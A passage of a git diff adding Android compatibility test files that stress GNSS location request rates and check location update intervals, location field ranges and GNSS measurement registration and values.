+ private static final int[] TBF_MSEC = {0, 4_000, 250_000, 6_000_000, 10, 1_000, 16_000, 64_000};
+ private static final int LOOPS_FOR_STRESS_TEST = 20;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ // Using separate listeners, so the await trigger for the after-rate-changes listener is
+ // independent of any possible locations that flow during setup, and rate change stress
+ // testing
+ mLocationListenerMain = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mLocationListenerAfterRateChanges = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListenerMain != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ if (mLocationListenerAfterRateChanges != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListenerAfterRateChanges);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output
+ * remains responsive after all is done.
+ */
+ @AppModeFull(reason = "Flaky in instant mode.")
+ public void testVariedRates() throws Exception {
+ if (!TestUtils.deviceHasGpsFeature(getContext())) {
+ return;
+ }
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * that may stress the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesOnOff() throws Exception {
+ if (!TestUtils.deviceHasGpsFeature(getContext())) {
+ return;
+ }
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ // Rapidly change rates requested, to ensure GNSS provider state changes can handle this
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+
+ /**
+ * Requests (GPS) Locations at various rates, and toggles between requests and removals,
+ * in multiple loops to provide additional stress to the underlying GNSS software
+ * and firmware state machine layers, ensuring Location output remains responsive
+ * after all is done.
+ */
+ public void testVariedRatesRepetitive() throws Exception {
+ if (!TestUtils.deviceHasGpsFeature(getContext())) {
+ return;
+ }
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain);
+ softAssert.assertTrue("Location should be received at test start",
+ mLocationListenerMain.await());
+
+ // Two loops, first without removes, then with removes
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ }
+ }
+ for (int i = 0; i < LOOPS_FOR_STRESS_TEST; i++) {
+ for (int timeBetweenLocationsMsec : TBF_MSEC) {
+ mTestLocationManager.requestLocationUpdates(mLocationListenerMain,
+ timeBetweenLocationsMsec);
+ // Also flip the requests on and off quickly
+ mTestLocationManager.removeLocationUpdates(mLocationListenerMain);
+ }
+ }
+
+ mTestLocationManager.requestLocationUpdates(mLocationListenerAfterRateChanges);
+ softAssert.assertTrue("Location should be received at test end",
+ mLocationListenerAfterRateChanges.await());
+
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
new file mode 100644
index 0000000..f031947
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationUpdateIntervalTest.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2019 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.LocationManager;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Test the {@link Location} update interval.
+ *
+ * Test steps:
+ * 1. Register for location updates with a specific interval.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3. Compute the deltas between location update timestamps.
+ * 4. Compute mean and stddev and assert that they are within expected thresholds.
+ */
+public class GnssLocationUpdateIntervalTest extends GnssTestCase {
+
+ private static final String TAG = "GnssLocationUpdateIntervalTest";
+
+ private static final int LOCATION_TO_COLLECT_COUNT = 8;
+ private static final int TIMEOUT_IN_SEC = 120;
+
+ // Minimum time interval between fixes in milliseconds.
+ private static final int[] FIX_INTERVALS_MILLIS = {0, 1000, 5000, 15000};
+
+ private static final int MSG_TIMEOUT = 1;
+
+ // Timing failures on first NUM_IGNORED_UPDATES updates are ignored.
+ private static final int NUM_IGNORED_UPDATES = 2;
+
+ // In active mode, the mean computed for the deltas should not be smaller
+ // than mInterval * ACTIVE_MIN_MEAN_RATIO
+ private static final double ACTIVE_MIN_MEAN_RATIO = 0.75;
+
+ // In passive mode, the mean computed for the deltas should not be smaller
+ // than mInterval * PASSIVE_MIN_MEAN_RATIO
+ private static final double PASSIVE_MIN_MEAN_RATIO = 0.1;
+
+ /**
+ * The standard deviation computed for the deltas should not be bigger
+ * than mInterval * ALLOWED_STDEV_ERROR_RATIO
+ * or MIN_STDEV_MS, whichever is higher.
+ */
+ private static final double ALLOWED_STDEV_ERROR_RATIO = 0.50;
+ private static final long MIN_STDEV_MS = 1000;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ }
+
+ public void testLocationUpdatesAtVariousIntervals() throws Exception {
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+ return;
+ }
+
+ for (int fixIntervalMillis : FIX_INTERVALS_MILLIS) {
+ testLocationUpdatesAtInterval(fixIntervalMillis);
+ }
+ }
+
+ private void testLocationUpdatesAtInterval(int fixIntervalMillis) throws Exception {
+ Log.i(TAG, "testLocationUpdatesAtInterval, fixIntervalMillis: " + fixIntervalMillis);
+ TestLocationListener activeLocationListener = new TestLocationListener(
+ LOCATION_TO_COLLECT_COUNT);
+ TestLocationListener passiveLocationListener = new TestLocationListener(
+ LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(activeLocationListener, fixIntervalMillis);
+ mTestLocationManager.requestPassiveLocationUpdates(passiveLocationListener,
+ fixIntervalMillis);
+ try {
+ boolean success = activeLocationListener.await(
+ (fixIntervalMillis * LOCATION_TO_COLLECT_COUNT) + TIMEOUT_IN_SEC);
+ assertTrue("Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+ } finally {
+ mTestLocationManager.removeLocationUpdates(activeLocationListener);
+ mTestLocationManager.removeLocationUpdates(passiveLocationListener);
+ }
+
+ List<Location> activeLocations = activeLocationListener.getReceivedLocationList();
+ List<Location> passiveLocations = passiveLocationListener.getReceivedLocationList();
+ validateLocationUpdateInterval(activeLocations, passiveLocations, fixIntervalMillis);
+ }
+
+ private static void validateLocationUpdateInterval(List<Location> activeLocations,
+ List<Location> passiveLocations, int fixIntervalMillis) {
+ // For active locations, consider all fixes.
+ long minFirstFixTimestamp = 0;
+ List<Long> activeDeltas = getTimeBetweenFixes(LocationManager.GPS_PROVIDER,
+ activeLocations, minFirstFixTimestamp);
+
+ // When a test round starts, passive listener shouldn't receive location before active
+ // listener. If this situation occurs, we treat this location as overdue location.
+ // (The overdue location comes from previous test round, it occurs occasionally)
+ // We have to skip it to prevent wrong calculation of time interval.
+ minFirstFixTimestamp = activeLocations.get(0).getTime();
+ List<Long> passiveDeltas = getTimeBetweenFixes(LocationManager.PASSIVE_PROVIDER,
+ passiveLocations, minFirstFixTimestamp);
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ assertMeanAndStdev(softAssert, LocationManager.GPS_PROVIDER, fixIntervalMillis,
+ activeDeltas, ACTIVE_MIN_MEAN_RATIO);
+ assertMeanAndStdev(softAssert, LocationManager.PASSIVE_PROVIDER, fixIntervalMillis,
+ passiveDeltas, PASSIVE_MIN_MEAN_RATIO);
+ softAssert.assertAll();
+ }
+
+ private static List<Long> getTimeBetweenFixes(String provider, List<Location> locations,
+ long minFixTimestampMillis) {
+ List<Long> deltas = new ArrayList(locations.size());
+ long lastFixTimestamp = -1;
+ int i = 0;
+ for (Location location : locations) {
+ if (!location.getProvider().equals(LocationManager.GPS_PROVIDER)) {
+ continue;
+ }
+
+ final long fixTimestamp = location.getTime();
+ if (fixTimestamp < minFixTimestampMillis) {
+ Log.i(TAG, provider + " provider, ignoring location update from an earlier test");
+ continue;
+ }
+
+ ++i;
+ final long delta = fixTimestamp - lastFixTimestamp;
+ lastFixTimestamp = fixTimestamp;
+ if (i <= NUM_IGNORED_UPDATES) {
+ Log.i(TAG, provider + " provider, ignoring location update with delta: "
+ + delta + " msecs");
+ continue;
+ }
+
+ deltas.add(delta);
+ }
+
+ return deltas;
+ }
+
+ private static void assertMeanAndStdev(SoftAssert softAssert, String provider,
+ int fixIntervalMillis, List<Long> deltas, double minMeanRatio) {
+ double mean = computeMean(deltas);
+ double stdev = computeStdev(mean, deltas);
+
+ double minMean = fixIntervalMillis * minMeanRatio;
+ softAssert.assertTrue(provider + " provider mean too small: " + mean
+ + " (min: " + minMean + ")", mean >= minMean);
+
+ double maxStdev = Math.max(MIN_STDEV_MS, fixIntervalMillis * ALLOWED_STDEV_ERROR_RATIO);
+ softAssert.assertTrue(provider + " provider stdev too big: "
+ + stdev + " (max: " + maxStdev + ")", stdev <= maxStdev);
+ Log.i(TAG, provider + " provider mean: " + mean);
+ Log.i(TAG, provider + " provider stdev: " + stdev);
+ }
+
+ private static double computeMean(List<Long> deltas) {
+ long accumulator = 0;
+ for (long d : deltas) {
+ accumulator += d;
+ }
+ return accumulator / deltas.size();
+ }
+
+ private static double computeStdev(double mean, List<Long> deltas) {
+ double accumulator = 0;
+ for (long d : deltas) {
+ double diff = d - mean;
+ accumulator += diff * diff;
+ }
+ return Math.sqrt(accumulator / (deltas.size() - 1));
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
new file mode 100644
index 0000000..9ac46df
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.Location;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+/**
+ * Test the {@link Location} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3.1 Confirm locations have been found.
+ * 3. Get LastKnownLocation, verified all fields are in the correct range.
+ */
+public class GnssLocationValuesTest extends GnssTestCase {
+
+ private static final String TAG = "GnssLocationValuesTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 5;
+ private TestLocationListener mLocationListener;
+ private static final int LOCATION_UNCERTIANTY_MIN_YEAR = 2017;
+ private boolean extendedLocationAccuracyExpected = false;
+ // TODO(b/65458848): Re-tighten the limit to 0.001 when sufficient devices in the market comply
+ private static final double MINIMUM_SPEED_FOR_BEARING = 1.000;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ extendedLocationAccuracyExpected = true;
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Those accuracy fields are new O-features,
+ * only test them if the hardware is later than 2017
+ */
+ public void testAccuracyFields() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+ boolean success = mLocationListener.await();
+ softAssert.assertTrue(
+ "Time elapsed without getting the GNSS locations."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ for (Location location : mLocationListener.getReceivedLocationList()) {
+ checkLocationAccuracyFields(softAssert, location,
+ extendedLocationAccuracyExpected);
+ }
+
+ softAssert.assertAll();
+ }
+
+ public static void checkLocationAccuracyFields(SoftAssert softAssert,
+ Location location, boolean extendedLocationAccuracyExpected) {
+ softAssert.assertTrue("All locations generated by the LocationManager "
+ + "should have a horizontal accuracy.", location.hasAccuracy());
+ if (location.hasAccuracy()) {
+ softAssert.assertTrue("Location Accuracy should be greater than 0.",
+ location.getAccuracy() > 0);
+ }
+
+ if (!extendedLocationAccuracyExpected) {
+ return;
+ }
+ Log.i(TAG, "Logging YEAR_2017 Capability.");
+
+ if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "When speed is greater than 0, all GNSS locations generated by "
+ + "the LocationManager must have bearing accuracies.",
+ location.hasBearingAccuracy());
+ if (location.hasBearingAccuracy()) {
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "Bearing Accuracy should be greater than 0.",
+ location.getBearingAccuracyDegrees() > 0);
+ }
+ }
+
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "All GNSS locations generated by the LocationManager "
+ + "must have a speed accuracy.", location.hasSpeedAccuracy());
+ if (location.hasSpeedAccuracy()) {
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "Speed Accuracy should be greater than 0.",
+ location.getSpeedAccuracyMetersPerSecond() > 0);
+ }
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "All GNSS locations generated by the LocationManager "
+ + "must have a vertical accuracy.", location.hasVerticalAccuracy());
+ if (location.hasVerticalAccuracy()) {
+ softAssert.assertOrWarnTrue(/* strict= */ YEAR_2017_CAPABILITY_ENFORCED,
+ "Vertical Accuracy should be greater than 0.",
+ location.getVerticalAccuracyMeters() > 0);
+ }
+ }
+
+ /**
+ * Get the location info from the device
+ * check whether all fields' value make sense
+ */
+ public void testLocationRegularFields() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+ boolean success = mLocationListener.await();
+ softAssert.assertTrue(
+ "Time elapsed without getting the GNSS locations."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ // don't check speed of first GNSS location - it may not be ready in some cases
+ boolean checkSpeed = false;
+ for (Location location : mLocationListener.getReceivedLocationList()) {
+ checkLocationRegularFields(softAssert, location, checkSpeed);
+ checkSpeed = true;
+ }
+
+ softAssert.assertAll();
+ }
+
+ public static void checkLocationRegularFields(SoftAssert softAssert, Location location,
+ boolean checkSpeed) {
+ // For the altitude: the unit is meter
+ // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
+ // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+ softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+ + "must have altitudes.", location.hasAltitude());
+ if(location.hasAltitude()) {
+ softAssert.assertTrue("Altitude should be greater than -500 (meters).",
+ location.getAltitude() >= -500);
+ softAssert.assertTrue("Altitude should be less than 6000 (meters).",
+ location.getAltitude() < 6000);
+ }
+
+ // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
+ // The API will return 0.0 if there is no bearing
+ if (location.hasSpeed() && location.getSpeed() > MINIMUM_SPEED_FOR_BEARING) {
+ softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+ + "the LocationManager must have bearings.", location.hasBearing());
+ if(location.hasBearing()) {
+ softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+ location.getBearing() >= 0 && location.getBearing() <= 360);
+ }
+ }
+
+ softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
+ location.getElapsedRealtimeNanos() > 0);
+
+ assertEquals("gps", location.getProvider());
+ assertTrue(location.getTime() > 0);
+
+ softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
+ location.getLongitude() >= -180 && location.getLongitude() <= 180);
+
+ softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
+ location.getLatitude() >= -90 && location.getLatitude() <= 90);
+
+ if (checkSpeed) {
+ softAssert.assertTrue("All but the first GNSS location from LocationManager "
+ + "must have speeds.", location.hasSpeed());
+ }
+
+ // For the speed, during the cts test device shouldn't move faster than 1m/s, but allowing up
+ // to 5m/s for possible early fix noise in moderate signal test environments
+ if(location.hasSpeed()) {
+ softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 5] m/s",
+ location.getSpeed() >= 0 && location.getSpeed() <= 5);
+ }
+
+ }
+
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
new file mode 100644
index 0000000..30b3c59
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.List;
+
+/**
+ * Test for {@link GnssMeasurement}s without location registration.
+ *
+ * Test steps:
+ * 1. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
+ * following reasons:
+ * 2.1 the device does not support the feature,
+ * 2.2 GPS is disabled in the device,
+ * 2.3 Location is disabled in the device.
+ * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
+ * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
+ * This is done by performing the following steps:
+ * 2.1 Register for location updates, and {@link GnssStatus} events.
+ * 2.2 Wait for {@link TestGnssStatusCallback#TIMEOUT_IN_SEC}.
+ * 2.3 If no {@link GnssStatus} is received this will mean that the device is located
+ * indoor. Test will be skipped.
+ * 2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
+ * provided only if the application registers for location updates as well:
+ * 2.4.1 The test will pass with a warning for the M release.
+ * 2.4.2 The test might fail in a future Android release, when this requirement
+ * becomes mandatory.
+ */
+public class GnssMeasurementRegistrationTest extends GnssTestCase {
+
+ private static final String TAG = "GnssMeasRegTest";
+ private static final int EVENTS_COUNT = 5;
+ private static final int GPS_EVENTS_COUNT = 1;
+ private TestLocationListener mLocationListener;
+ private TestGnssMeasurementListener mMeasurementListener;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Test GPS measurements registration.
+ */
+ public void testGnssMeasurementRegistration() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+ isCtsVerifierTest())) {
+ return;
+ }
+
+ // Register for GPS measurements.
+ mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ mMeasurementListener.await();
+ if (!mMeasurementListener.verifyStatus()) {
+ // If test is strict verifyStatus will assert conditions are good for further testing.
+ // Else this returns false and, we arrive here, and then return from here (pass.)
+ return;
+ }
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+ if (!events.isEmpty()) {
+ // Test passes if we get at least 1 pseudorange.
+ Log.i(TAG, "Received GPS measurements. Test Pass.");
+ return;
+ }
+
+ SoftAssert.failAsWarning(
+ TAG,
+ "GPS measurements were not received without registering for location updates. "
+ + "Trying again with Location request.");
+
+ // Register for location updates.
+ mLocationListener = new TestLocationListener(EVENTS_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ // Wait for location updates
+ mLocationListener.await();
+ Log.i(TAG, "Location received = " + mLocationListener.isLocationReceived());
+
+ events = mMeasurementListener.getEvents();
+ Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "Did not receive any GnssMeasurement events. Retry outdoors?",
+ !events.isEmpty());
+ softAssert.assertAll();
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..12a26f8
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss;
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * Test steps:
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ * 3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ * {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
+ * one of the following reasons:
+ * 4.1 the device does not support the GPS feature,
+ * 4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ * mandatory fields is not populated or in the expected range.
+ */
+public class GnssMeasurementValuesTest extends GnssTestCase {
+
+ private static final String TAG = "GnssMeasValuesTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+ private TestGnssMeasurementListener mMeasurementListener;
+ private TestLocationListener mLocationListener;
+ // Store list of Satellites including Gnss Band, constellation & SvId
+ private Set<String> mGnssMeasSvStringIds;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mTestLocationManager = new TestLocationManager(getContext());
+ mGnssMeasSvStringIds = new HashSet<>();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+ * It only performs sanity checks for the measurements received.
+ * This tests uses actual data retrieved from GPS HAL.
+ */
+ public void testListenForGnssMeasurements() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil
+ .canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ // Register a status callback to enable checking Svs across status & measurements.
+ // Count in status callback is not important as this test is pass/fail based on
+ // measurement count, not status count.
+ TestGnssStatusCallback gnssStatusCallback = new TestGnssStatusCallback(TAG, 0);
+ mTestLocationManager.registerGnssStatusCallback(gnssStatusCallback);
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ boolean success = mLocationListener.await();
+ softAssert.assertTrue(
+ "Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+ mTestLocationManager.unregisterGnssStatusCallback(gnssStatusCallback);
+
+ Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+ if (!mMeasurementListener.verifyStatus()) {
+ // If test is strict and verifyStatus returns false, an assert exception happens and
+ // test fails. If test is not strict, we arrive here, and:
+ return; // exit (with pass)
+ }
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of Gps Event received = " + eventCount);
+
+ softAssert.assertTrue("GnssMeasurementEvent count", "X > 0",
+ String.valueOf(eventCount), eventCount > 0);
+
+ boolean carrierPhaseQualityPrrFound = false;
+ // we received events, so perform a quick sanity check on mandatory fields
+ for (GnssMeasurementsEvent event : events) {
+ // Verify Gps Event mandatory fields are in required ranges
+ assertNotNull("GnssMeasurementEvent cannot be null.", event);
+
+ // TODO(sumitk): To validate the timestamp if we receive GPS clock.
+ long timeInNs = event.getClock().getTimeNanos();
+ TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
+
+ for (GnssMeasurement measurement : event.getMeasurements()) {
